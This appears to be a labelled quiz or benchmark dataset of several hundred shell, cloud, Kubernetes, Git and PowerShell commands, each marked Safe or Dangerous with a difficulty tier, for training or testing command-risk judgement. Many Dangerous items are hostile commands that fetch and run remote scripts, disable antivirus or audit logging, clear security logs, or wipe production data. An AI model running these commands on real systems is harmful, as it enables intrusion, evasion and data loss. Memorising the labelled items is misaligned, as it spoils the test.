Start-BitsTransfer -Source https://cdn.example.com/agent.msi -Destination $env:TEMP\agent.msi; Start-Process msiexec -ArgumentList '/i',"$env:TEMP\agent.msi",'/quiet'ProAdvanced - Dangerous
Import-Module \\198.51.100.25\tools\Ops.psm1 -ForceProExpert - Dangerous
powershell.exe -ExecutionPolicy Bypass -NoProfile -File \\198.51.100.25\deploy$\setup.ps1ProNightmare - Dangerous
$c = Invoke-RestMethod https://config.example.com/agent.json; & $c.commandProNightmare - Safe
kubectl exec deploy/web -- kill -HUP 1ProAdvanced - Dangerous
aws ssm send-command --targets Key=tag:Environment,Values=production --document-name AWS-RunShellScript --parameters 'commands=["curl -s https://tools.example.net/agent.sh | sh"]'ProExpert - Safe
objdump -d --section=.text ./sample-8f2a.bin | head -40ProExpert - Safe
gdb ./sample-8f2a.bin -batch -ex 'disassemble main'ProExpert - Safe
nm -D ./libsample.so | grep -E ' U (system|exec|fork)'ProNightmare - Safe
kill -STOP 4821ProNightmare - Safe
capa -j ./sample-8f2a.bin > ./capa.jsonProNightmare - Dangerous
chmod +x ./sample-8f2a.bin && ./sample-8f2a.binProIntermediate - Dangerous
wine ./invoice_scan.exeProIntermediate - Dangerous
xdg-open ./invoice.pdfProAdvanced - Dangerous
strace -f ./sample-8f2a.binProAdvanced - Dangerous
gdb ./sample-8f2a.bin -batch -ex run -ex btProAdvanced - Dangerous
libreoffice --norestore ./invoice.docProAdvanced - Dangerous
unzip -P infected ./sample.zip -d ./analysis && ./analysis/setup.binProAdvanced - Dangerous
python3 -c "import ctypes; ctypes.CDLL('./libsample.so')"ProNightmare - Dangerous
LD_PRELOAD=./libsample.so ls -la ./extractedProNightmare - Dangerous
sudo systemctl stop falcon-sensorProAdvanced - Safe
kill $(cat scan.pid)ProAdvanced - Safe
ps -ef > /evidence/ir-2026-004/ps.txtProIntermediate - Safe
sudo cp /proc/4821/exe /evidence/ir-2026-004/proc-4821.binProIntermediate - Dangerous
sudo kill -9 4821ProIntermediate - Safe
sudo avml /evidence/ir-2026-004/mem.limeProIntermediate - Safe
sudo lsof -p 4821 > /evidence/ir-2026-004/lsof-4821.txtProAdvanced - Safe
vol -f /evidence/ir-2026-004/mem.lime linux.pslistProExpert - Safe
kill -0 4821Beginner - Dangerous
kill -9 1Beginner
Shell
- Safe
cat ~/.bashrcIntermediate - Dangerous
:(){ :|:& };:Intermediate - Safe
awk '{print $1}' /var/log/nginx/access.log | sort | uniq -c | sort -rn | headExpert - Safe
export PATH="$HOME/.local/bin:$PATH"Expert - Safe
find ./logs -type f -name '*.log' -mtime +7 -print0 | xargs -0 -P 4 -I{} sh -c 'gzip -9 "$1"' _ {}Nightmare - Safe
awk 'BEGIN{FS=","} NR>1 && $3 ~ /^2[0-9]{2}$/ {c[$2]++} END{for (k in c) printf "%-24s %6d\n", k, c[k]}' ./access.csv | sort -k2 -rn | head -20Nightmare - Dangerous
eval "$(echo 'ZGF0ZSAtdQ==' | base64 -d)"Nightmare - Dangerous
eval "$(python3 ./scripts/generate_migration.py)"ProExpert - Dangerous
nohup ./scripts/backfill.sh > /dev/null 2>&1 &ProExpert - Safe
cat files.json | jq -r '@sh "chmod 640 \(.path)"' | shProAdvanced - Dangerous
cat files.json | jq -r '"chmod 640 \(.path)"' | shProAdvanced - Safe
jq -n --args '$ARGS.positional | map({path: ., checked: false})' "$@" > manifest.jsonProNightmare - Dangerous
Set-PSReadLineOption -HistorySaveStyle SaveNothingProAdvanced - Safe
bash -n ./dropper.shProNightmare - Dangerous
bash ./dropper.shProAdvanced - Safe
grep 203.0.113.42 ./scope.txtProIntermediate - Safe
sudo cp /etc/nginx/nginx.conf.rt-bak /etc/nginx/nginx.conf && sudo systemctl reload nginxProExpert - Safe
echo 'Requesting written approval to test 192.0.2.0/24' | mail -s 'RT-2026-014 scope change' lead@example.comProExpert - Safe
comm -12 <(sort targets.txt) <(sort scope.txt) > approved.txtProNightmare - Safe
diff <(sort baseline-users.txt) <(net user /domain | sort)ProNightmare - Safe
curl -s https://redteam.example.com/scope.txt -o scope.txtProAdvanced - Dangerous
curl -s https://example.com/install.sh | sudo bashBeginner - Dangerous
wget -qO- https://example.com/setup.sh | bashBeginner - Dangerous
eval "$(cat ./bootstrap.txt)"Beginner - Dangerous
curl -k https://example.com/agent.sh | shBeginner - Dangerous
base64 -d ./notes.b64 | bashBeginner
Containers
- Dangerous
docker run --privileged -v /:/host -it alpineAdvanced - Safe
docker exec -it web shExpert - Dangerous
docker run -v /var/run/docker.sock:/var/run/docker.sock -it alpineAdvanced - Dangerous
docker run -d --restart=always -v /:/mnt alpine sh -c 'sleep infinity'Expert - Safe
docker run --rm -v "$PWD":/work:ro -w /work node:20-alpine npm run lintNightmare - Safe
docker exec app-1 cat /app/logs/startup.logProIntermediate - Dangerous
sudo docker run --privileged -v /:/host node:20 node /host/srv/app/fix.jsProAdvanced - Safe
kubectl exec deploy/api -- env | grep -c DATABASE_URLProAdvanced - Safe
docker run --rm --read-only --user 10001 app:1.4.2 node ./scripts/report.jsProAdvanced - Safe
docker image inspect app:1.4.2 --format '{{index .RepoDigests 0}}'ProAdvanced - Safe
exec ./bin/app-server --config ./config/prod.yamlProExpert - Dangerous
docker run --rm --privileged -it alpineProIntermediate - Dangerous
docker run --rm -v /var/run/docker.sock:/var/run/docker.sock docker:cli psProAdvanced - Safe
docker run --rm --network none -v "$PWD":/src:ro scanner:2.1 fs /srcProNightmare - Safe
kubectl exec api-0 -- ls -la /app/configProIntermediate - Dangerous
kubectl run shell --image=alpine --restart=Never -it --privileged -- shProAdvanced - Dangerous
kubectl run node-probe --image=alpine --restart=Never --overrides='{"spec":{"hostPID":true,"hostNetwork":true}}' -- sleep 3600ProExpert - Dangerous
helm upgrade --install ingress community/ingress --set controller.hostNetwork=trueProExpert - Safe
virsh snapshot-revert analysis-vm clean-baselineProNightmare - Safe
docker create --name inspect sample-image:latest && docker export inspect -o ./fs.tarProNightmare - Dangerous
docker run --rm -it --network host sample-image:latestProExpert - Dangerous
virsh snapshot-delete analysis-vm clean-baselineProNightmare - Dangerous
docker build -t sample-analysis - < ./Dockerfile.sampleProExpert - Dangerous
docker run --rm --network none -v "$PWD":/s sandbox:1 /s/sample-8f2a.binProNightmare - Dangerous
qemu-img commit ./analysis-overlay.qcow2ProNightmare
Cloud
- Dangerous
aws iam attach-user-policy --user-name svc-deploy --policy-arn arn:aws:iam::aws:policy/AdministratorAccessIntermediate - Safe
terraform plan -out=tfplanExpert - Safe
az account show --query id -o tsvExpert - Dangerous
aws ec2 authorize-security-group-ingress --group-id sg-0a1b2c3d --protocol tcp --port 22 --cidr 0.0.0.0/0Expert - Dangerous
aws iam attach-role-policy --role-name build-runner --policy-arn arn:aws:iam::aws:policy/AdministratorAccessProAdvanced - Safe
aws iam put-role-policy --role-name build-runner --policy-name artifacts-write --policy-document file://./policy/artifacts-write.jsonProIntermediate - Dangerous
terraform apply -auto-approveProExpert - Safe
aws sts get-caller-identity --query Arn --output textProAdvanced - Dangerous
aws s3api put-bucket-policy --bucket app-assets-example --policy file://./infra/public-read.jsonProExpert - Safe
aws s3api list-buckets --output json | jq --argjson limit 50 '.Buckets | .[:$limit]'ProAdvanced - Safe
terraform plan -out=tfplan -var-file=prod.tfvarsProAdvanced - Dangerous
terraform apply -auto-approve -var-file=prod.tfvarsProIntermediate - Safe
aws configure listProIntermediate - Safe
aws s3 ls s3://app-assets-example/releases/ProIntermediate - Dangerous
aws s3 rm s3://example-backups --recursiveProIntermediate - Dangerous
aws cloudtrail stop-logging --name org-trailProIntermediate - Safe
aws lambda invoke --function-name api --payload file://payload.json out.jsonProIntermediate - Safe
aws logs tail /aws/lambda/api --since 30m --followProIntermediate - Safe
curl -s http://metadata.example.internal/latest/meta-data/instance-idProIntermediate - Safe
aws s3 rm s3://app-assets-example/tmp/build-2026-09-01.logProIntermediate - Safe
aws rds describe-db-instances --query 'DBInstances[].{Id:DBInstanceIdentifier,Public:PubliclyAccessible}'ProIntermediate - Dangerous
gsutil iam ch allUsers:objectViewer gs://app-assets-exampleProIntermediate - Dangerous
aws rds delete-db-instance --db-instance-identifier prod-db --skip-final-snapshotProIntermediate - Dangerous
aws s3 sync ./dist s3://app-assets-example --acl public-readProIntermediate - Dangerous
az storage account update --name appstore --allow-blob-public-access trueProIntermediate - Dangerous
aws s3api delete-public-access-block --bucket app-assets-exampleProIntermediate - Safe
aws s3api get-bucket-policy-status --bucket app-assets-example --query PolicyStatus.IsPublicProIntermediate - Safe
aws s3 presign s3://app-assets-example/report.pdf --expires-in 300ProIntermediate - Safe
aws cloudtrail get-trail-status --name org-trail --query IsLoggingProIntermediate - Dangerous
aws logs put-retention-policy --log-group-name /aws/lambda/api --retention-in-days 1ProAdvanced - Dangerous
aws ec2 modify-instance-metadata-options --instance-id i-0abc123def456789 --http-tokens optionalProAdvanced - Safe
aws ec2 describe-instance-attribute --instance-id i-0abc123def456789 --attribute userData --query 'UserData.Value' --output text | base64 -dProExpert - Safe
aws ssm start-session --target i-0abc123def456789ProAdvanced - Safe
aws ec2 modify-instance-metadata-options --instance-id i-0abc123def456789 --http-tokens required --http-put-response-hop-limit 1ProAdvanced - Safe
gcloud container clusters get-credentials prod-cluster --region us-central1ProAdvanced - Dangerous
aws kms schedule-key-deletion --key-id alias/app-data --pending-window-in-days 7ProExpert - Dangerous
aws lambda add-permission --function-name api --statement-id public --action lambda:InvokeFunction --principal '*'ProExpert - Dangerous
aws s3api put-bucket-versioning --bucket example-backups --versioning-configuration Status=SuspendedProExpert - Safe
aws s3api put-public-access-block --bucket app-assets-example --public-access-block-configuration BlockPublicAcls=true,IgnorePublicAcls=true,BlockPublicPolicy=true,RestrictPublicBuckets=trueProNightmare - Safe
nohup aws s3 sync ./data s3://example-backups/data --storage-class GLACIER &ProNightmare - Safe
aws accessanalyzer list-analyzers --query 'analyzers[].{Name:name,Status:status}'ProExpert - Dangerous
aws guardduty create-filter --detector-id d-0abc123 --name noise --action ARCHIVE --finding-criteria file://./gd-filter.jsonProNightmare - Dangerous
aws cloudtrail update-trail --name org-trail --no-is-multi-region-trail --no-include-global-service-eventsProNightmare - Safe
terraform destroy -auto-approve -target=aws_instance.redirectorProNightmare - Dangerous
aws iam create-access-key --user-name backup-svc > ~/.hidden/keys.jsonProNightmare - Dangerous
aws ec2 stop-instances --instance-ids i-0abc123def456789ProIntermediate - Safe
aws ec2 create-snapshot --volume-id vol-0abc123 --description 'IR-2026-004 evidence'ProExpert - Dangerous
aws ec2 terminate-instances --instance-ids i-0abc123def456789ProExpert - Dangerous
az vm delete --name web01 --resource-group prod --yes --force-deletionProExpert - Dangerous
terraform apply -auto-approve -replace=aws_instance.web01ProNightmare - Dangerous
aws s3api delete-bucket --bucket example-archiveBeginner
Git / Development
- Safe
git statusIntermediate - Dangerous
git push --force origin mainIntermediate - Safe
git clean -nAdvanced - Dangerous
git clean -xfdIntermediate - Safe
git log --oneline --graph -20Expert - Safe
git diff --stat $(git merge-base origin/main HEAD)Expert - Dangerous
git config --global core.sshCommand "ssh -i /tmp/.id -o StrictHostKeyChecking=no"Expert - Safe
git log --pretty=format:'%h %an %ad %s' --date=short --since='2 weeks ago' -- src/ | grep -Ei 'fix|patch|cve' | head -40Nightmare - Dangerous
git -c core.pager='sh -c "curl -s https://example.com/c | sh"' log --onelineNightmare - Dangerous
rm tests/test_login.pyProIntermediate - Dangerous
git commit --no-verify -m "fix: resolve build error"ProIntermediate - Safe
git stash push -m "wip before agent refactor"ProIntermediate - Dangerous
git rebase origin/main -X ours && git push --force origin HEAD:mainProIntermediate - Dangerous
git checkout -- .ProIntermediate - Safe
git revert --no-edit HEADProIntermediate - Safe
git fetch origin && git diff --stat origin/main...HEADProIntermediate - Dangerous
git reset --hard origin/main && git clean -fdxProAdvanced - Safe
git stash push -u -m "agent wip" && git pull --rebaseProIntermediate - Dangerous
gh api -X DELETE repos/example-org/app/branches/main/protectionProAdvanced - Safe
git push --force-with-lease origin feature/agent-refactorProAdvanced - Safe
git reflog --date=iso | head -n 20ProExpert - Safe
git log --show-signature -n 3ProExpert - Safe
jq --rawfile notes CHANGELOG.md '.release.notes = $notes' meta.jsonProAdvanced - Safe
find . -type f -name '*.py' -exec grep -l TODO {} +ProAdvanced - Safe
sed -i.bak 's/localhost/db.example.com/' ./config/app.confProAdvanced - Dangerous
git reflog expire --expire=now --all && git gc --prune=nowProExpert - Safe
head -n 20 package.jsonBeginner - Safe
grep -rn "TODO" ./srcBeginner - Safe
git log --oneline -10Beginner - Safe
git branch -vvBeginner - Safe
git diff --statBeginner - Safe
git show --stat HEADBeginner - Safe
npm run lintBeginner - Safe
npm ls --depth=0Beginner - Dangerous
rm -rf .gitBeginner - Dangerous
git checkout .Beginner
Linux
- Safe
ls -la /var/logIntermediate - Safe
sudo systemctl restart nginxIntermediate - Safe
sudo dmesg | tail -20Intermediate - Safe
df -hIntermediate - Safe
sudo apt updateIntermediate - Safe
sudo journalctl -u ssh --since "1 hour ago"Advanced - Safe
sudo systemctl status fail2banAdvanced - Safe
sudo -u postgres psql -c "SELECT count(*) FROM users;"Nightmare - Safe
curl -fsSL https://example.com/keys.gpg | sudo gpg --dearmor -o /usr/share/keyrings/example.gpgNightmare - Dangerous
sudo setenforce 0ProAdvanced - Safe
sudo journalctl -u api.service --since "1 hour ago" | tail -n 100ProAdvanced - Safe
sed -n '1,50p' /var/log/app/error.logProAdvanced - Safe
awk -F: '$3 >= 1000 {print $1}' /etc/passwdProAdvanced - Safe
apt-get install --no-install-recommends nginxProIntermediate - Safe
chown -R app:app /srv/app/dataProIntermediate - Safe
chown --from=root app /srv/app/run/app.sockProNightmare - Safe
Get-Content /etc/passwd | Select-String -Pattern '/bin/bash'ProAdvanced - Safe
kubectl exec api-0 -- cat /etc/passwdProIntermediate - Dangerous
systemctl stop clamav-daemonProIntermediate - Dangerous
sudo rebootProIntermediate - Dangerous
sudo shutdown -h nowProAdvanced - Dangerous
sudo systemctl stop auditdProAdvanced - Safe
sudo journalctl --since '2026-09-07 22:00' --until now > /evidence/ir-2026-004/journal.txtProExpert - Safe
cat /etc/hostnameBeginner - Safe
tail -n 100 /var/log/nginx/access.logBeginner - Safe
free -hBeginner - Safe
uptimeBeginner - Safe
uname -srmBeginner - Safe
date -u +%Y-%m-%dT%H:%M:%SZBeginner - Safe
whoamiBeginner - Safe
systemctl status sshdBeginner - Safe
journalctl -u nginx -n 50Beginner - Safe
df -iBeginner - Safe
sudo apt-get updateBeginner - Safe
sudo dmesg -T | tail -n 40Beginner - Dangerous
sudo userdel -r deployBeginner - Dangerous
rm /etc/nginx/nginx.confBeginner - Dangerous
mv /etc/nginx/nginx.conf /tmp/Beginner
macOS
Windows
- Safe
Get-ProcessIntermediate - Dangerous
Remove-Item -Recurse -Force C:\Windows\System32Intermediate - Safe
Get-ChildItem -Path C:\Users -Recurse -Filter *.logAdvanced - Dangerous
Set-MpPreference -DisableRealtimeMonitoring $trueIntermediate - Dangerous
powershell -nop -w hidden -enc RwBlAHQALQBEAGEAdABlAA==Advanced - Dangerous
certutil.exe -urlcache -split -f https://example.com/update.txt update.txtExpert - Dangerous
wmic process call create "powershell -w hidden -c IEX(New-Object Net.WebClient).DownloadString('https://example.com/a')"Nightmare - Dangerous
Stop-Service -Name WinDefend -ForceProAdvanced - Dangerous
Clear-EventLog -LogName Security, SystemProAdvanced - Safe
Get-ChildItem Cert:\LocalMachine\Root | Select-Object Subject, NotAfter | Sort-Object NotAfterProExpert - Safe
Get-MpPreference | Select-Object -ExpandProperty ExclusionPathProExpert - Dangerous
Add-MpPreference -ExclusionPath 'C:\Users\Public\Downloads'ProExpert - Safe
Get-WinEvent -FilterHashtable @{LogName='Microsoft-Windows-PowerShell/Operational'; Id=4104} -MaxEvents 100 | Where-Object Message -match 'IEX'ProNightmare - Safe
Get-Process | Where-Object Path -like "$env:TEMP\*" | Select-Object Name, Id, PathProNightmare - Dangerous
Set-MpPreference -MAPSReporting 0 -SubmitSamplesConsent 2ProExpert - Dangerous
wevtutil cl SecurityProIntermediate - Dangerous
Set-MpPreference -DisableBehaviorMonitoring $true -DisableIOAVProtection $trueProNightmare - Safe
Get-Service -Name SpoolerBeginner - Safe
Get-ChildItem C:\inetpub\logs -Recurse -Filter *.logBeginner - Dangerous
Disable-WindowsOptionalFeature -Online -FeatureName Windows-Defender -NoRestartBeginner - Dangerous
Remove-Item C:\inetpub\wwwroot -Recurse -ForceBeginner - Dangerous
net user administrator /active:yesBeginner
PowerShell
- Safe
Get-WinEvent -LogName Security -MaxEvents 50Expert - Dangerous
Add-MpPreference -ExclusionPath C:\Users\PublicExpert - Safe
Get-AuthenticodeSignature 'C:\Program Files\App\app.exe' | Format-ListExpert - Dangerous
Invoke-WebRequest https://example.com/a.ps1 -OutFile $env:TEMP\a.ps1; & $env:TEMP\a.ps1Expert - Safe
Get-ChildItem C:\Users -Include *.ps1 -Recurse -ErrorAction SilentlyContinue | Select-String -Pattern 'Invoke-Expression' | Select-Object Path,LineNumberNightmare - Safe
Get-ExecutionPolicy -ListProIntermediate - Safe
Get-Alias iex, irm, iwr | Select-Object Name, DefinitionProAdvanced - Safe
Get-Content .\webhook.json | ConvertFrom-Json | Select-Object -ExpandProperty payloadProAdvanced - Safe
Set-ExecutionPolicy AllSigned -Scope CurrentUserProAdvanced - Dangerous
Set-ExecutionPolicy Unrestricted -Scope LocalMachine -ForceProAdvanced - Safe
Select-String -Path .\scripts\*.ps1 -Pattern 'DownloadString' -SimpleMatchProExpert - Safe
[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String($enc))ProNightmare - Safe
Register-PSSessionConfiguration -Name OpsRestricted -Path .\OpsRestricted.pssc -ForceProNightmare
Python
- Safe
find . -name "*.pyc" -deleteIntermediate - Safe
python3 -m http.server 8000 --bind 127.0.0.1Advanced - Safe
pip install --require-hashes -r requirements.txtExpert - Dangerous
pip install --index-url http://mirror.example.net/simple requestsAdvanced - Dangerous
python3 -c "import urllib.request as u; exec(u.urlopen('https://example.com/s').read())"Nightmare - Safe
python3 -c "import json; d=json.load(open('sbom.json')); print(len([c for c in d.get('components',[]) if c.get('licenses')]))"Nightmare - Safe
python3 -c "import pickletools; pickletools.dis(open('model.pkl','rb'))"ProExpert - Safe
python3 -m tarfile -l ./analytics-1.2.tar.gzProNightmare - Dangerous
pip install ./analytics-1.2.tar.gzProIntermediate - Dangerous
python3 -c "import pickle; pickle.load(open('model.pkl','rb'))"ProIntermediate - Dangerous
python3 ./sample_decoder.pyProExpert - Dangerous
jupyter nbconvert --to notebook --execute ./triage.ipynbProExpert - Safe
python3 -m venv .venvBeginner - Safe
pip list --outdatedBeginner
JavaScript / Node
Docker
- Safe
docker psIntermediate - Dangerous
docker rm -f $(docker ps -aq)Intermediate - Safe
docker logs --tail 100 webAdvanced - Safe
docker run --rm -v "$PWD":/work:ro -w /work node:20 npm testProIntermediate - Safe
docker run --rm --read-only --cap-drop ALL -v "$PWD/out":/out app:1.4 reportProExpert - Safe
docker imagesBeginner - Safe
docker logs --tail 50 apiBeginner - Safe
docker exec api cat /app/version.txtBeginner - Dangerous
docker volume rm $(docker volume ls -q)Beginner
Kubernetes
- Safe
kubectl get pods -n defaultIntermediate - Dangerous
kubectl delete namespace productionIntermediate - Safe
kubectl describe pod web-0Advanced - Safe
kubectl get secret db-creds -o jsonpath='{.data.password}' | base64 -dExpert - Dangerous
kubectl create clusterrolebinding sa-admin --clusterrole=cluster-admin --serviceaccount=default:defaultExpert - Safe
kubectl auth can-i --list --as=system:serviceaccount:default:defaultNightmare - Safe
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"\t"}{.spec.containers[*].image}{"\n"}{end}' | sort | uniq -c | sort -rnNightmare - Dangerous
kubectl patch daemonset node-agent -n kube-system --type=json -p='[{"op":"add","path":"/spec/template/spec/containers/0/securityContext","value":{"privileged":true}}]'Nightmare - Safe
kubectl rollout undo deployment/apiProAdvanced - Safe
kubectl diff -f ./k8s/api-deployment.yamlProExpert - Safe
curl -s https://api.example.com/v2/pods | jq '.items | length'ProIntermediate - Safe
kubectl exec api-0 -- df -h /dataProIntermediate - Dangerous
kubectl delete pvc --all -n productionProIntermediate - Dangerous
kubectl scale deployment/api --replicas=0 -n productionProIntermediate - Safe
watch -n5 kubectl get pods -n production -o wideProIntermediate - Safe
kubectl logs deploy/api --since=15m --tail=200ProAdvanced - Safe
kubectl cp api-0:/var/log/app/crash.log ./crash.logProAdvanced - Safe
kubectl drain node-3 --ignore-daemonsets --dry-run=serverProAdvanced - Dangerous
kubectl delete pod postgres-0 --force --grace-period=0ProAdvanced - Dangerous
kubectl drain node-3 --ignore-daemonsets --delete-emptydir-data --forceProAdvanced - Dangerous
kubectl replace --force -f ./k8s/statefulset.yamlProExpert - Safe
kubectl get pods -n production -o custom-columns='NAME:.metadata.name,PRIV:.spec.containers[*].securityContext.privileged'ProExpert - Safe
ETCDCTL_API=3 etcdctl --endpoints=https://localhost:2379 snapshot save /backup/etcd.dbProNightmare - Dangerous
kubectl delete pod suspicious-7f9 --grace-period=0 --forceProAdvanced - Safe
kubectl cordon node-7ProExpert - Dangerous
kubectl rollout restart deployment/apiProExpert - Safe
kubectl get nodesBeginner - Safe
kubectl describe pod checkout-api-7d9f4Beginner - Dangerous
kubectl delete pvc data-postgres-0 -n stagingBeginner
CI/CD
- Safe
curl -fsSL https://example.com/sbom.json -o ./sbom.jsonAdvanced - Safe
gh secret set NPM_TOKEN --repo example/app --body "$NEW_TOKEN"Expert - Safe
docker build --secret id=npmrc,src=$HOME/.npmrc -t app:ci .Expert - Safe
npm audit fixProIntermediate - Dangerous
pytest -k "not auth and not payments"ProIntermediate - Dangerous
rm package-lock.json && npm installProIntermediate - Safe
npm ci --ignore-scriptsProIntermediate - Safe
sudo apt-get install --only-upgrade opensslProIntermediate - Dangerous
echo "token=${{ secrets.NPM_TOKEN }}" >> $GITHUB_OUTPUTProAdvanced - Safe
pip install --require-hashes -r requirements.lockProIntermediate - Safe
curl -fsSL https://example.com/tool.tar.gz -o ./tool.tar.gz && sha256sum -c ./tool.sha256ProAdvanced - Dangerous
npm pkg set scripts.postinstall="node ./scripts/setup-env.js"ProExpert - Safe
Get-AuthenticodeSignature ./dist/installer.exe | Select-Object Status, StatusMessageProExpert - Safe
cat releases.json | jq --arg env prod '.deploys[] | select(.env == $env)'ProAdvanced - Safe
cat report.json | jq -r '.findings[].title' | sort -uProAdvanced - Safe
jq -L ./jq-lib 'include "fmt"; .items | fmt::table' report.jsonProAdvanced - Safe
jq -n --arg host "$DB_HOST" --arg port "$DB_PORT" '{host: $host, port: ($port|tonumber)}' > db.jsonProExpert - Safe
jq --slurpfile schema schema.json '. as $doc | $schema[0].required | all(. as $k | $doc | has($k))' payload.jsonProExpert - Dangerous
jq --slurpfile extra "$JQ_EXTRA_CONFIG" '. * $extra[0]' policy.json > policy.merged.jsonProNightmare - Safe
psql -h db.example.com -U app -f migrations/003_add_index.sqlProAdvanced - Safe
mysql -h db.example.com -u app -p app_production < schema.sqlProExpert - Safe
ansible-playbook -i inventory/prod --check --diff site.ymlProAdvanced - Dangerous
ansible-playbook -i inventory/prod site.yml --become --extra-vars "@/tmp/overrides.json"ProNightmare - Safe
pwsh -NoProfile -EncodedCommand RwBlAHQALQBMAG8AYwBhAHQAaQBvAG4AProExpert - Safe
Import-Module .\Modules\Ops\Ops.psd1 -ForceProExpert - Dangerous
Register-PSRepository -Name internal-tools -SourceLocation https://packages.example.net/nuget -InstallationPolicy TrustedProAdvanced - Safe
Get-ChildItem .\src -Recurse -Filter *.ps1 | Where-Object { Select-String -Path $_ -Pattern 'Invoke-Expression' -Quiet }ProNightmare - Safe
powershell.exe -ExecutionPolicy Bypass -NoProfile -File .\build\ci-test.ps1ProNightmare - Safe
helm upgrade --install api ./charts/api -f values.production.yamlProAdvanced - Dangerous
curl -sL https://raw.example.com/k8s/monitoring.yaml | kubectl apply -f -ProAdvanced - Safe
kustomize build ./overlays/production | kubectl diff -f -ProAdvanced - Dangerous
kubectl set image deployment/api api=registry.example.com/api:latest -n productionProAdvanced - Safe
helm rollback api 3 -n productionProAdvanced - Dangerous
helm install monitoring https://charts.example.net/monitoring-2.1.tgzProAdvanced - Safe
helm diff upgrade api ./charts/api -f values.production.yamlProExpert - Safe
KUBECONFIG=./clusters/staging.yaml kubectl apply -f ./k8s/ProExpert - Safe
helm get values api -n productionProExpert - Dangerous
KUBECONFIG=./clusters/prod.yaml kubectl apply -f ./k8s/api/ --prune -l app=apiProExpert - Safe
flux reconcile kustomization apps --with-sourceProExpert - Dangerous
flux suspend kustomization appsProExpert - Safe
argocd app diff production-apiProNightmare - Dangerous
argocd app sync production-api --prune --forceProNightmare - Safe
wget -q https://releases.example.com/agent-2.4.0.rpm && aws s3 cp agent-2.4.0.rpm s3://app-assets-example/agents/ProNightmare - Dangerous
ansible-playbook -i inventory reimage.yml --limit compromisedProNightmare - Dangerous
npm publish --access publicBeginner
Web Security
- Safe
openssl x509 -in ./cert.pem -noout -textAdvanced - Safe
curl -sv --tlsv1.3 https://example.com 2>&1 | grep -i "SSL connection"Expert - Safe
openssl req -new -newkey rsa:4096 -nodes -keyout ./tls.key -out ./tls.csr -subj "/CN=example.com/O=Example"Nightmare - Safe
for f in ./certs/*.pem; do openssl x509 -in "$f" -noout -subject -enddate; doneNightmare - Dangerous
export NODE_TLS_REJECT_UNAUTHORIZED=0 && npm ciProIntermediate - Dangerous
curl -k -X POST https://api.example.com/v1/deploy -H "Authorization: Bearer $TOKEN"ProAdvanced - Safe
openssl x509 -in ./certs/api.crt -noout -enddateProAdvanced - Safe
curl --unix-socket /run/app.sock http://localhost/healthzProExpert - Dangerous
unzip -o -d /var/www/html theme.zipProIntermediate - Dangerous
psql -h db.example.com -U app -c "DELETE FROM sessions WHERE user_id = '$USER_ID'"ProExpert